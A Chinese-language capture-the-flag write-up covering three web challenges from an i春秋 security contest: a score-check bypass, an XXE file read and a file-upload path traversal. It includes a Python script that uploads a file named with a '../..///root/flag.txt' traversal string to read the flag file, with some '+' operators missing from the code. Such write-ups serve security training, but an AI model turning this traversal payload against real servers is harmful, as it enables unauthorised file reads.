i春秋-网络与信息安全专项赛web部分wp

华盟原创文章投稿奖励计划

Game

这道题是最简单的,进入页面后发现没啥头绪,就打看源码,发现了js文件里有猫腻

i春秋-网络与信息安全专项赛web部分wp

这里就是score=15的时候就会利用ajax去访问score.php。这个地方有可能是个突破点。那咱们来试一下就知道了。于是我就访问score.php并且构造了post请求。没想到就能直接得到flag一枚。

i春秋-网络与信息安全专项赛web部分wp
who_are_you?

看到这个输入框一下就想到sql注入,我们来试一下,发现没啥用,就换个思路发现输入啥显示啥,可不可能是xss,我们试一下,发现并不是。但是我们发现了是xml请求。
i春秋-网络与信息安全专项赛web部分wp

xml自然就联想到了xxe攻击了,那就构造poc吧。

i春秋-网络与信息安全专项赛web部分wp

这里是利用了php中的伪协议读的index.php,然后我们得到的内容base64解码就可以拿到flag了。

show_me_your_image

一个上传图片的页面.

i春秋-网络与信息安全专项赛web部分wp

上传成功后,这个的cookie 就会返回一个 base64 编码的文件路径。

然后用 img.php?name= 传这个文件路径过去,可以读取这个文件。

i春秋-网络与信息安全专项赛web部分wp

import requests
import urllib
from base64 import *

url='http://4d94492ab4fc4d0199f60b1f39d343e5805934980516472c.changame.ichunqiu.com/'

path='../..///root/flag.txt'
files={'file': (path '...png','a')}
r=requests.post(url 'upload.php',files=files)
try:
    name=r.text.split('img.php?name=')[1].split('"')[0]
except:
    name=r.text
name=urllib.unquote(name)[:-8]
#print name
r=requests.get(url 'img.php?name=' urllib.quote(name))
print r.text

本人也菜,还有一到web题没有做出来。

/*本片参考已出的wp做的,如有侵权,告知本人立马删*/

华盟知识星球入口

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/241797.html

发表评论